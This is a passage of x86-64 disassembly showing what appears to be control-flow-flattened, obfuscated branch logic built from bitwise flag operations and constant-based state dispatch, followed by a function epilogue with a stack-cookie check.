and eax, 0x931ac732
or eax, edi
xor eax, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg r9b
mov ebx, r9d
xor bl, al
and bl, r9b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, r10d
xor dl, cl
mov ebx, edx
and bl, r10b
and dl, cl
mov ecx, ebx
xor cl, 1
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
and r9b, r8b
and r10b, al
or r10b, r9b
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0x954fb287
mov edi, 0xb13c8b89
cmovne edx, edi
test cl, 1
mov eax, edx
cmovne eax, edi
test bl, 1
cmove eax, edx
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
cmp byte [rbp + 0x156], 0
mov eax, 0x236b84cb
mov ecx, 0xe51573db
jmp 0x14002ca48
cmp byte [rbp + 0x12e], 0
mov eax, 0x24ffcccd
mov ecx, 0xe50268bc
cmovne eax, ecx
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
sub rsp, 0x20
call fcn.14003af10
add rsp, 0x20
xor eax, eax
movaps xmm6, xmmword [rbp + 0x160]
movaps xmm7, xmmword [rbp + 0x170]
movaps xmm8, xmmword [rbp + 0x180]
movaps xmm9, xmmword [rbp + 0x190]
movaps xmm10, xmmword [rbp + 0x1a0]
movaps xmm11, xmmword [rbp + 0x1b0]
movaps xmm12, xmmword [rbp + 0x1c0]
movaps xmm13, xmmword [rbp + 0x1d0]
movaps xmm14, xmmword [rbp + 0x1e0]
movaps xmm15, xmmword [rbp + 0x1f0]
lea rsp, [rbp + 0x208]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret